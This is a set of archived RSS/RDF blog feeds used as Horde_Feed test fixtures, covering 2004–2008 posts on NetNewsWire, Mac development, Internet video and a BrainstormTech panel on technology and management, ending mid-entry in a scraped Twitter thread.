http://radiocomments.userland.com/comments?u=113297&amp;p=290&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F09%2F13.html%23a290 Guest Blogging on PaidContent.org http://www.paidcontent.org/contentnext/ I'm pleased to be a <A href="http://www.paidcontent.org/contentnext/">guest blogger / interview on Rafat Ali's PaidContent.org</A>, among my favorite spots on the Web for my daily dose of digital media.&nbsp; Rafat has launched the <A href="http://www.paidcontent.org/contentnext/">ContentNext series</A> of guest blogs on his site.&nbsp; I'll be writing on a variety of topics including Internet video, the role of Flash on mobile, TiVo/NetFlix deal, and several other topics during this week.&nbsp; I'll also cross-link to each of my main posts. http://radio.weblogs.com/0113297/2004/09/13.html#a289 Tue, 14 Sep 2004 03:36:54 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=289&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F09%2F13.html%23a289 Distracted...by TV http://radio.weblogs.com/0113297/2004/04/20.html#a288 I've been quite distracted over the past couple of months with interesting things happening in the broadband video world.&nbsp; The "video industry" on the Internet is starting to emerge with great force and I'm excited to be focused on this area.&nbsp; I will try and be regular in posting and sharing thoughts again. http://radio.weblogs.com/0113297/2004/04/20.html#a288 Wed, 21 Apr 2004 02:38:42 GMT http://radiocomments.userland.com/comments?u=113297&amp;p=288&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0113297%2F2004%2F04%2F20.html%23a288 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-ranchero.com-xml-rss.xml0000664000175000017500000004071012653701626025474 0ustar janjan ranchero.com http://ranchero.com/ News and software for smart people. Mostly Mac. en-us brent@ranchero.com brent@ranchero.com Mon, 21 Jul 2008 19:51:43 GMT Mon, 21 Jul 2008 19:51:43 GMT Kyle Baxter interviews me http://www.tightwind.net/2008/07/the-brent-simmons-interview/ <p> Kyle Baxter of <a href="http://www.tightwind.net/2008/07/the-brent-simmons-interview/">TightWind</a> interviews me about NetNewsWire and iPhone development. (It was a pleasure doing an interview with him &mdash; if he ever asks you to do an interview, say yes. ;) </p> http://ranchero.com/?comments=1&postid=1941 Mon, 21 Jul 2008 19:51:43 GMT Brent Simmons NetNewsWire-Misc. NetNewsWire for iPhone progress http://inessential.com/?comments=1&postid=3505 <p> <a href="http://inessential.com/?comments=1&postid=3505">On my weblog</a> I posted an update: what I&rsquo;ve been doing and what&rsquo;s the plan. </p> http://ranchero.com/?comments=1&postid=1940 Tue, 15 Jul 2008 17:26:14 GMT Brent Simmons NetNewsWire-Misc. NetNewsWire 1.0 for iPhone http://www.newsgator.com/Individuals/NetNewsWireiPhone/Default.aspx <p> <a href="http://www.newsgator.com/Individuals/NetNewsWireiPhone/Default.aspx">NetNewsWire 1.0 for iPhone</a>! I never expected to ship another NetNewsWire 1.0, but here it is. ;) </p> <p> It&rsquo;s <a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=284881860&mt=8">available on the iPhone App Store</a>. It&rsquo;s free, and it syncs with NetNewsWire for Macintosh, FeedDemon, Inbox, and our browser-based reader. </p> <p> The idea is that NetNewsWire for iPhone is a news <em>reader</em> &mdash; for those moments when you have a minute to kill in the grocery store or whatever. It doesn&rsquo;t do all the heavy lifting of subscription management &mdash; it&rsquo;s all about showing you the latest news items, and making it easy to go through them. (You can also clip news items to save for later.) </p> http://ranchero.com/?comments=1&postid=1939 Thu, 10 Jul 2008 17:26:29 GMT Brent Simmons Clang&rsquo;s Empirical Demonstration of a Need for Defensive Coding Guidelines http://www.gigliwood.com/weblog/Cocoa/Clang_s_Empirical_D.html <p> <a href="http://www.gigliwood.com/weblog/Cocoa/Clang_s_Empirical_D.html">Dan Wood</a>: &ldquo;I ran our codebase (Sandvox, along with the iMedia Browser and other bits of code) through the analyzer, and what I found was very interesting: Most of the bugs that it found, if we had better applied the guidelines we&rsquo;ve been trying to follow, would not have been there.&rdquo; </p> <p> While I don&rsquo;t agree with every one of Dan&rsquo;s guidelines, I agree that guidelines and conventions are a good thing. And I&rsquo;m definitely gonna check out the LLVM/Clang Static Analyzer. (I&rsquo;m pretty sure Clang is named for a famous Klingon general.) </p> http://ranchero.com/?comments=1&postid=1938 Tue, 08 Jul 2008 18:04:28 GMT Brent Simmons Disabled Menus Are Usable http://www.red-sweater.com/blog/515/disabled-menus-are-usable <p> <a href="http://www.red-sweater.com/blog/515/disabled-menus-are-usable">Red Sweater</a> replies to a note from Joel Spolsky on <i>not</i> disabling menu items: &ldquo;He&rsquo;s absolutely right about hidden menu items, but on the area he emphasizes, disabled menu items, he&rsquo;s absolutely wrong.&rdquo; </p> http://ranchero.com/?comments=1&postid=1937 Tue, 01 Jul 2008 16:56:17 GMT Brent Simmons Development Phase Code Signing http://www.red-sweater.com/blog/514/development-phase-code-signing <p> <a href="http://www.red-sweater.com/blog/514/development-phase-code-signing">Red Sweater</a>: &ldquo;But the user who has it worst of all is me myself, as I&rsquo;m constantly revising the application, leading the system to request new approvals every time my changed application accesses the keychain. To get around these constant requests, I finally decided to at take advantage of code signing during the development phase.&rdquo; </p> http://ranchero.com/?comments=1&postid=1936 Sun, 29 Jun 2008 20:30:45 GMT Brent Simmons Announcing LiveDiscKit http://www.rogueamoeba.com/utm/2008/06/27/announcing-livedisckit/ <p> <a href="http://www.rogueamoeba.com/utm/2008/06/27/announcing-livedisckit/">Rogue Amoeba</a>: &ldquo;Way back in January, we showed off LiveDisc for Macworld San Francisco. We got a number of requests from other developers looking to use it themselves. At the time we just said &lsquo;maybe&rsquo;, and then everyone went home from Macworld and proceeded to forget about it.&rdquo; </p> http://ranchero.com/?comments=1&postid=1935 Fri, 27 Jun 2008 23:28:48 GMT Brent Simmons Thinking Like a Cocoa Programmer http://theocacao.com/document.page/580 <p> <a href="http://theocacao.com/document.page/580">Theocacao</a>: &ldquo;First and most importantly, the Cocoa programmer&rsquo;s focus is always the end result for the user, not the academic sophistication of the code.&rdquo; </p> http://ranchero.com/?comments=1&postid=1934 Fri, 27 Jun 2008 23:16:36 GMT Brent Simmons MacRuby http://ruby.macosforge.org/trac/wiki/MacRuby <p> <a href="http://ruby.macosforge.org/trac/wiki/MacRuby">MacRuby</a> &ldquo;is a version of Ruby 1.9, ported to run directly on top of Mac OS X core technologies such as the Objective-C common runtime and garbage collector, and the CoreFoundation framework. While still a work in progress, it is the goal of MacRuby to enable the creation of full-fledged Mac OS X applications which do not sacrifice performance in order to enjoy the benefits of using Ruby.&rdquo; </p> http://ranchero.com/?comments=1&postid=1933 Wed, 25 Jun 2008 18:07:15 GMT Brent Simmons WordPress To Disable Remote Access by Default http://www.red-sweater.com/blog/512/wordpress-to-disable-remote-access <p> <a href="http://www.red-sweater.com/blog/512/wordpress-to-disable-remote-access">Red Sweater</a>: &ldquo;But in my opinion, there are also good arguments to be made for <em>rejecting the change</em> as a damaging and misguided solution.&rdquo; </p> http://ranchero.com/?comments=1&postid=1932 Tue, 24 Jun 2008 18:48:41 GMT Brent Simmons AppleScript and chat privacy http://www.macworld.com/article/134123/2008/06/applescript_adium.html <p> <a href="http://www.macworld.com/article/134123/2008/06/applescript_adium.html">Jason Snell</a>: &ldquo;Recently I was fuming on Twitter about the inability to set &lsquo;private times&rsquo; in chat applications.&rdquo; AppleScript to the rescue! </p> http://ranchero.com/?comments=1&postid=1931 Tue, 24 Jun 2008 00:46:41 GMT Brent Simmons Bullit NetNewsWire style http://cameron.io/project/bullit <p> <a href="http://cameron.io/project/bullit">cameron i/o</a>: &ldquo;Bullit is the style I developed to read my RSS feeds on NetNewsWire. Clarity and readability were the most important factors.&rdquo; </p> http://ranchero.com/?comments=1&postid=1930 Mon, 23 Jun 2008 21:28:32 GMT Brent Simmons NetNewsWire-Styles Share Your NewsGator Clippings with ReadBurner http://nick.typepad.com/blog/2008/06/share-your-news.html <p> <a href="http://nick.typepad.com/blog/2008/06/share-your-news.html">Nick Bradbury</a>: &ldquo;NewsGator has partnered with ReadBurner, and as a result, it&rsquo;s now dead simple to share your NewsGator clippings with ReadBurner. This means that FeedDemon, NetNewsWire, NewsGator Inbox and NewsGator Online customers can easily share their clipped articles with ReadBurner.&rdquo; </p> <p> Here&rsquo;s <a href="http://inessential.com/?comments=1&postid=3465">how to share clippings in NetNewsWire</a>. Once you have a clippings feed, you can go to ReadBurner and add it. (See Nick&rsquo;s post for more details.) </p> http://ranchero.com/?comments=1&postid=1929 Mon, 23 Jun 2008 21:10:32 GMT Brent Simmons NetNewsWire-Tips iPhone developers roundtable http://www.macworld.com/article/134034/2008/06/mwpodcast124.html <p> <a href="http://www.macworld.com/article/134034/2008/06/mwpodcast124.html">Macworld</a>: &ldquo;The Worldwide Developers Conference is now a recent, bright memory. To celebrate its passing, we devote this episode of the Macworld Podcast to all things WWDC &mdash;&#160;a reality check on what Apple announced last week and then a roundtable interview with a group of Mac developers who have turned their attention to the iPhone.&rdquo; </p> <p> It was cool to get the chance to talk to Jason Snell and to a couple stars of iPhone development: <a href="http://furbo.org/">Craig Hockenberry</a> and <a href="http://www.omnigroup.com/">Greg Titus</a>. </p> http://ranchero.com/?comments=1&postid=1928 Wed, 18 Jun 2008 17:47:46 GMT Brent Simmons What Should iPhone Applications Cost? http://blogs.oreilly.com/iphone/2008/06/what-should-iphone-application.html <p> Paul Kafasis, <a href="http://blogs.oreilly.com/iphone/2008/06/what-should-iphone-application.html">Inside iPhone</a>: &ldquo;If you&rsquo;re not going to be in the store at launch, you can certainly wait and see how the market adjusts itself. Will people pay $10 for applications? Almost certainly. How about $20 or more? We don&rsquo;t yet know.&rdquo; </p> http://ranchero.com/?comments=1&postid=1927 Mon, 16 Jun 2008 18:42:44 GMT Brent Simmons 2008 PMC Software Auctions http://www.truerwords.net/fundraising/pmcsoftware/index.html#cdbackground <p> Seth Dillingham is looking for software donations for the <a href="http://www.truerwords.net/fundraising/pmcsoftware/index.html#cdbackground">2008 PMC Software Auctions</a>. It&rsquo;s a great cause, and already the good folks at <a href="http://barebones.com/">Bare Bones</a> and <a href="http://c-command.com/">C-Command</a> have donated software. </p> http://ranchero.com/?comments=1&postid=1926 Mon, 16 Jun 2008 16:43:02 GMT Brent Simmons Ars preview of mobile NetNewsWire http://arstechnica.com/journals/apple.ars/2008/06/10/ars-at-wwdc-exclusive-preview-of-mobile-netnewswire <p> <a href="http://arstechnica.com/journals/apple.ars/2008/06/10/ars-at-wwdc-exclusive-preview-of-mobile-netnewswire">Ars at WWDC</a>: &ldquo;After yesterday&rsquo;s exhibition of iPhone third-party applications developed primarily by companies who had never programmed for the Mac before, we here at Ars were champing at the bit to get a peek at a few applications written by grizzled Mac veterans and see how they stacked up.&rdquo; </p> <p> Grizzled? ;) </p> http://ranchero.com/?comments=1&postid=1925 Wed, 11 Jun 2008 01:06:43 GMT Brent Simmons CocoaHeads reminder http://theocacao.com/document.page/577 <p> Reminder: <a href="http://theocacao.com/document.page/577">tonight&rsquo;s CocoaHeads meeting</a> is at 7 at the Apple Store. A bunch of smart folks are speaking: Gus Mueller, Daniel Jalkut, Dirk Stoop, Jasper Hauser, and Mathieu Tozer. (I&rsquo;ll join them for the Q&A session at the end.) </p> <p> And, after that, it&rsquo;s time for the <a href="http://arstechnica.com/journals/apple.ars/2008/05/01/team-ars-technica-and-gizmodo-party-at-wwdc">Ars Party</a>. </p> http://ranchero.com/?comments=1&postid=1924 Wed, 11 Jun 2008 00:58:31 GMT Brent Simmons Buzz Andersen&rsquo;s 5th Annual WWDC Party http://upcoming.yahoo.com/event/460378/ <p> <a href="http://upcoming.yahoo.com/event/460378/">Buzz&rsquo;s party</a> is at 111 Minna Gallery tonight. This is the third year in a row that <a href="http://www.newsgator.com/">NewsGator</a>, where I work, has been a sponsor. (Thanks, folks!) This year <a href="http://golden-braeburn.com/">Golden%Braeburn</a> is also a sponsor &mdash; it sounds pretty cool. </p> http://ranchero.com/?comments=1&postid=1923 Mon, 09 Jun 2008 22:45:04 GMT Brent Simmons C4[2] http://rentzsch.com/c4/2dates <p> <a href="http://rentzsch.com/c4/2dates">Wolf</a>: &ldquo;I&rsquo;m happy to report I&rsquo;ve decided to go for another round, and C4[2] is scheduled for September 5th through 7th.&rdquo; </p> http://ranchero.com/?comments=1&postid=1922 Sun, 08 Jun 2008 00:59:16 GMT Brent Simmons Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-ross.typepad.com-blog-index.rdf0000664000175000017500000011162312653701626026726 0ustar janjan Ross Mayfield's Weblog http://ross.typepad.com/blog/ Markets, Technology & Musings en-US 2008-07-21T17:46:24-07:00 BrainstormTech: Making the world better? http://ross.typepad.com/blog/2008/07/brainstormtech.html I'm at Fortune BrainstormTech, an event that relates technology to the bigger problems it can solve. Tomorrow I am moderating a lunch lab on the problem of Governance, with Daniel Kaufmann, Director, Governance and Anti-Corruption, World Bank Institute. Managing Editor... <p>I'm at Fortune BrainstormTech, an event that relates technology to the bigger problems it can solve.&nbsp; Tomorrow I am moderating a lunch lab on the problem of Governance, with Daniel Kaufmann, Director, Governance and Anti-Corruption, World Bank Institute.</p> <p>Managing Editor Andy Serwer introduced Brainstorm to attendees as &quot;a respite from the problems you work on and talk about bigger problems we can solve&quot; and recommending&nbsp; &quot;Try to be cool and immerse yourself in the stew of the people and what is about to happen.&quot;</p> <p>&quot;What makes it different is trying to understand technology in the context of how it is changing,&quot; said David Kirkpatrick.&nbsp; &quot;A lot of reporters and bloggers are here, so whatever that means to you, keep it in mind.&quot;</p> <p>What's Tech got to do with it?</p> <ul class="agendaSpeakers"><li><strong>Marc R. Benioff</strong><br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Founder, Chairman, and CEO<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; salesforce.com, Inc.</li> <li><strong>Michael S. Dell</strong><br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Chairman and CEO<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Dell Inc.</li> <li><strong>Gary Hamel</strong><br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Director, Management Lab.&nbsp; (has a <a href="http://www.amazon.com/Future-Management-Gary-Hamel/dp/1422102505">new book</a>)<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Visiting Professor, London Business School</li> <li><strong>Christiane Salm</strong></li></ul> <p><em>Is tech making the world better?</em></p> <p>Dell: of course.&nbsp; Majority of the new internet users today are from developing countries, total is doubling from 1B to 2B in two years, 500k new internet users a day.&nbsp; Economic growth is driven by technology, but it is just the beginning.&nbsp; Is it changing politics?&nbsp; Sure, I'm not the world's expert on the topic.&nbsp; <em>Sure, but that's why I asked.&nbsp; The whole idea of empowerment, the theme of this conference.</em>&nbsp; One clear change is that countries used to be isolated and competitive.&nbsp; When you think about staying competitive individually, company or country, the dynamics are radically changed.&nbsp; Raises serious questions, particularly for developed societies, where here in the US we have a disperportion of the population vs. wealth.&nbsp; The pie will get a lot bigger and we have to adjust.</p> <p>Hamel: Unarguably so.&nbsp; We have to think about our purposes for technology, and if they are getting better.&nbsp; The net is empowering people like never before in history.&nbsp; For the first time we are emancipating human imagination and it will change everything. You find creative apatheid in some places and we will put a light to it.&nbsp; My interest is in the social technology of management.&nbsp; We are using 100 year technology in the enterprise.&nbsp; The average company 100 years ago had 4 employees and&nbsp; 9/10 worked for themselves, but then in 25 years all that change, because of the invention of this kind of technology called management.&nbsp; We are going to see a bigger impact when technology changes the way organizations are&nbsp; structured and decisions are made.&nbsp; Something more dramatic in the beginning of this century and it will make a lot of managers today very uncomfortable..</p> <p>Dell: We put our big ears on.&nbsp; Listened.&nbsp; But the mechanisms you could use to listen went massively turbocharged with the net.&nbsp; We will have 2B conversations with our customers this year.&nbsp; Somethign fundamentally different managerially?&nbsp; The nature of the tools changes how groups are formed and managed.&nbsp; A central top down organization will not be the most responsive, engaged and creative.&nbsp; We are creating new businesses all the time as teams see new opportunities and it is not as centrally planned as it once was.</p> <p>Benioff:&nbsp; Its not just Michael talking with his customers, but his customers talking with each other and then talking with him as a collective.&nbsp; Something unprecedented.&nbsp; With IdeaExchange, with our product managers, they have less to do and do a better job.&nbsp; We have a lot less responsiblity and can look to the customers.&nbsp; Not listening to the customer, but collaborating, iterating and sharing.&nbsp; The innovations on Mystarbucksidea.com.&nbsp; CEOs are not superman, you can't do it all, and this technology lets you listen to the customer.&nbsp; The world is faster because of technology, not sure if it is better and dont want to get into the debate, keeping up with the acceleration, the internet as the great accelerator, will make our company better because we can listen.</p> <p>Salm: I wonder if from a mangement perspective it becomes hard to manage the complexity.&nbsp; We have more data and it may be hard to decide and keep sight within speed.&nbsp; Managing companies with changes in organizational structures with network and heirarchies.&nbsp; 500 years ago Gutenberg was born in my town in Germany, allowed a new religion.&nbsp; Disruptions across industries, media having real real challenges, I think it will change our society more than it will change our businesses.&nbsp; Busnesses have to adapt, but societies do change and their change will have a bigger impact.</p> <p><em>Is there is more willingness in Web 2.0 stuff to think in bigger terms?</em></p> <p>Benioff: Clinton said a change in the world requires a change in conciousness.&nbsp; Even in our own myopic world, Scott from Intuit called it the fall of Rome.&nbsp; There is a big shift, with the internet.&nbsp; (he said web 3.0 so I stopped typing)&nbsp; We are going to get to a point where we see a radical step in terms of what this industry will deliver in the next 10 years.</p> <p>Hamil in the late 18th cent</p> <p>Hamil: structural reform needs to happen for the world to take advantage of this technology.&nbsp; we used to be isolated, now you can bring capital and talent from anywhere in the world.&nbsp; If you aren't part of that world you are still on the outside looking in.&nbsp; Where terrorism emerged.&nbsp; A lot more has to happen.&nbsp; I am optimistic, but don't want ot be pollyannish about how technology will even out disparities without other changes.</p> <p>Salm: Germans are known for things, like mp3, but the business was made somewhere else.&nbsp; Competitive and entrepreneurial environment is not what we are good at, makes me sad, but our culture is not to take risk.&nbsp; Germany as a market always works because it is the largest.&nbsp; But I don't worry too much about it, we will be good enough to compete, and within Europe it is different. Scandinavia and UK pick up technology quickly.&nbsp; My worries for Europe are not about inventiveness, but rather demographics.&nbsp; Europe is growing substantially older than the US.&nbsp; What does that mean for the other trends? </p> <p>Hamel: Sometimes we over estimate cultural differences, what most limits innovation is how we are managed.&nbsp; In the creative economy, it is working against us.&nbsp; Towers Perin survey of 80k people across the world about about how emotional and intellectually engaged they are at work, no more than 20% engaged.&nbsp; The scandal of management is that we habve feudal systems that are better at harnassing the customer's imagine than their employees.&nbsp; Whereever you look at technology it is not friendly to heriarchy.</p> <p>Vint Cerf: The internet has show it is possible to do these things, so we can't go back, but we need to make it work.&nbsp; I agree with Mark about platforms for innovation, but innovation at scale is something that is new.</p> <p>Benioff:&nbsp; What's new is the internet as a platform at scale. What it indicates to me is that if we are moving from transaction to collaboration to innovation -- this country needs innovation today.</p> <p>Hamel: If you polled the top guys in the F500 50 years ago about if they could create the internet, the couldn't.&nbsp; It is imporant to have a competence to define you, but today it is more interesting to find your platfom advantage.</p> <p>Esther Dyson: the word I heard missing was risk, a bigger difference than mangement when it comes to innovation.&nbsp; Now startups need little money to take the risk.</p> <p>Dell: An advancement of technology can accelerate a disruption that is already happening, in the job market for example.</p> <p>Benioff: With an increased focus and emphasis on risk, we in the industry have a call for transparency, at the vendor or user level. Its like SarBox for the network.&nbsp; Otherwise you lose trust.&nbsp; Trust only comes from a level of transparency in the system.</p> <p><em>The industry has reached a point where the society is so reliant on its products, that perhaps the industry needs to take its responsibility seriously?</em></p> <p>Brian Dear: Cover story on Fortune about Tesla.&nbsp; Where is the platform in the auto industry?&nbsp; To let 100 Tesla's </p> <p>Dell: The roads are already there.</p> <p>Will this change the kind of leadership in businesses? More political philosophers?</p> <p>Dell: This is the information age and what we need are people that are good at connecting.&nbsp; You </p> <p>Hamel: if you look on the web you find heirarchies, but they are natural, meritocritous.&nbsp; Same thing will happen in organizations.&nbsp; The single reason companies get in trouble is management's mental models depreciate faster than their power.&nbsp; The architecht of the internal collaboration platfom will rise.</p> <p><strong>Brad Smith, CEO of Intuit, on How does an established company transform how it innovates?</strong>&nbsp; </p> <p>Now the most profound change management challenge, to where end users create the value themselves and see others to do so together.&nbsp; It is challenging all of our beliefs: management, customer experience.&nbsp; And as a new CEO where I walk in thinking we are a good baseball team and found myself on a football field.&nbsp; How do we harness this and create value.&nbsp; Like Dell said about putting on big ears.&nbsp; We ask ourselves three questions:</p> <ol><li>Are we paying our employees to do work that our customers would volunteer to do and can do it better than us?&nbsp; Turbotax Live Community, 40% of the customer questions answered by customers, with better answers and it cost us next to nothing</li> <li>Are we sitting on a gold mine of data?&nbsp; Who people want to talk turns out to be other small business owners. We have to figure out to connect those people and now we are 50% SaaS and if we can get people to liberate QuickBooks databases it benefits everyone.</li> <li>Will our 25 years of success be an accelerant or an inhibiter?&nbsp; The answer, we are discobvering is with our youth.&nbsp; Generation Y is telling us what to do differently.&nbsp; </li></ol> <p>Innovation is a moving target and it doesn't come with instructions. We are learning from you, used to be called plagarism, now we call it benchmarking.</p> events Ross Mayfield 2008-07-21T17:46:24-07:00 iPhone Apps: What's Your Top Five? http://ross.typepad.com/blog/2008/07/iphone-apps.html I broke down and got a 3G iPhone. Thumb reduction surgery pending. On twitter, I asked people what their top five apps where, and here you go: mariosundar @Ross here are my Top 10 Free iPhone App picks - about... <p>I broke down and got a 3G iPhone.&nbsp; Thumb reduction surgery pending.&nbsp; On twitter, I asked people what their top five apps where, and here you go:</p> <table cellspacing="0" class="doing" id="timeline"><tbody><tr class="hentry" id="status_857593682"><td class="thumb vcard author"><a href="http://twitter.com/mariosundar" class="url"><img alt="Mario Sundar" class="photo fn" id="profile-image" src="http://s3.amazonaws.com/twitter_production/profile_images/51518725/VPNClientScreenSnapz001_normal.jpg" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/mariosundar" title="Mario Sundar">mariosundar</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> here are my <a href="http://mariosundar.wordpress.com/2008/07/13/my-favorite-free-iphone-20-apps/">Top 10 Free</a> iPhone App picks - <a href="http://tinyurl.com/6eq2w2" rel="nofollow" target="_blank">&nbsp;</a> </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/mariosundar/statuses/857593682" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:59:26+00:00">about 1 hour</abbr> ago</a> from web &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857587269">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span> &nbsp; &nbsp; </td> <td width="10" align="right"> &nbsp; &nbsp; &nbsp; <div id="status_actions_857593682" class="status_actions"> <a href="http://twitter.com/replies#" onclick="new Ajax.Request('/favourings/create/857593682', {asynchronous:true, evalScripts:true, onLoading:function(request){$('status_star_857593682').src='/images/icon_throbber.gif'}, parameters:'authenticity_token=' + encodeURIComponent('e058538bfedafabdaa4a22307d55a862842cccd5')}); return false;"><br /></a> <a href="http://twitter.com/replies#" onclick="replyTo('mariosundar');">&nbsp;</a> &nbsp; </div> </td> </tr> <tr class="hentry" id="status_857590254"> &nbsp; <td class="thumb vcard author"> &nbsp; <a href="http://twitter.com/glemak" class="url"><img alt="mike dunn" class="photo fn" id="profile-image" src="http://s3.amazonaws.com/twitter_production/profile_images/42416852/anime_pops_sml_normal.jpg" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/glemak" title="mike dunn">glemak</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> there's a room in friendfeed dedicated to this too ross - <a href="http://friendfeed.com/rooms/appstore" rel="nofollow" target="_blank">http://friendfeed.com/rooms...</a> </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/glemak/statuses/857590254" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:53:27+00:00">about 1 hour</abbr> ago</a> from <a href="http://friendfeed.com/">FriendFeed</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857587269">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span> &nbsp; &nbsp; </td> <td width="10" align="right"> &nbsp; &nbsp; &nbsp; <div id="status_actions_857590254" class="status_actions"> <a href="http://twitter.com/replies#" onclick="new Ajax.Request('/favourings/create/857590254', {asynchronous:true, evalScripts:true, onLoading:function(request){$('status_star_857590254').src='/images/icon_throbber.gif'}, parameters:'authenticity_token=' + encodeURIComponent('e058538bfedafabdaa4a22307d55a862842cccd5')}); return false;"><br /></a> <a href="http://twitter.com/replies#" onclick="replyTo('glemak');">&nbsp;</a> &nbsp; </div> </td> </tr> <tr class="hentry" id="status_857577006"> &nbsp; <td class="thumb vcard author"> &nbsp; <a href="http://twitter.com/Cmoose" class="url"><img alt="Cmoose" class="photo fn" id="profile-image" src="http://static.twitter.com/images/default_profile_normal.png" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/Cmoose" title="Cmoose">Cmoose</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> most useful: weatherbug. Most fun: phonesaber. </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/Cmoose/statuses/857577006" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:30:23+00:00">about 2 hours</abbr> ago</a> from <a href="http://iconfactory.com/software/twitterrific">twitterrific</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857565711">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span> &nbsp; &nbsp; </td> <td width="10" align="right"> &nbsp; &nbsp; &nbsp; <div id="status_actions_857577006" class="status_actions"> <a href="http://twitter.com/replies#" onclick="replyTo('Cmoose');"><br /> &nbsp; &nbsp; </a> &nbsp; </div> </td> </tr> <tr class="hentry" id="status_857574370"> &nbsp; <td class="thumb vcard author"> &nbsp; <a href="http://twitter.com/johnmac13" class="url"><img alt="johnmac13" class="photo fn" id="profile-image" src="http://s3.amazonaws.com/twitter_production/profile_images/50092092/Full_Face_normal.jpg" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/johnmac13" title="johnmac13">johnmac13</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> twitterific, Facebook, googletalk, aim </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/johnmac13/statuses/857574370" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:25:33+00:00">about 2 hours</abbr> ago</a> from <a href="http://iconfactory.com/software/twitterrific">twitterrific</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857565711">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span> &nbsp; &nbsp; </td> <td width="10" align="right"> &nbsp; &nbsp; &nbsp; <div id="status_actions_857574370" class="status_actions"> <a href="http://twitter.com/replies#" onclick="replyTo('johnmac13');"><br /> &nbsp; &nbsp; </a> &nbsp; </div> </td> </tr> <tr class="hentry" id="status_857568125"> &nbsp; <td class="thumb vcard author"> &nbsp; <a href="http://twitter.com/philwhln" class="url"><img alt="philwhln" class="photo fn" id="profile-image" src="http://s3.amazonaws.com/twitter_production/profile_images/56217831/mrphil_normal.jpg" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/philwhln" title="philwhln">philwhln</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> My number one is definately the iTunes &quot;Remote&quot;. But I'm only on the iPod touch here </span> &nbsp; &nbsp;&nbsp; &nbsp; <span class="meta entry-meta"> &nbsp; <a href="http://twitter.com/philwhln/statuses/857568125" class="entry-date" rel="bookmark"><abbr class="published" title="2008-07-14T00:14:28+00:00">about 2 hours</abbr> ago</a> from web &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <a href="http://twitter.com/Ross/statuses/857565711">in reply to Ross</a> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; </span> &nbsp; &nbsp; </td> <td width="10" align="right"> &nbsp; &nbsp; &nbsp; <div id="status_actions_857568125" class="status_actions"> <a href="http://twitter.com/replies#" onclick="replyTo('philwhln');"><br /> &nbsp; &nbsp; </a> &nbsp; </div> </td> </tr> <tr class="hentry" id="status_857568032"> &nbsp; <td class="thumb vcard author"> &nbsp; <a href="http://twitter.com/gwachob" class="url"><img alt="Gabe Wachob" class="photo fn" id="profile-image" src="http://s3.amazonaws.com/twitter_production/profile_images/55055126/Photo_73_normal.jpg" /></a> </td> <td class="content"> <strong><a href="http://twitter.com/gwachob" title="Gabe Wachob">gwachob</a></strong> <span class="entry-content"> &nbsp; @<a href="http://twitter.com/Ross">Ross</a> PhoneSaber, Jirobreak, Cube Runner and of course, Twitterific. 3 games + 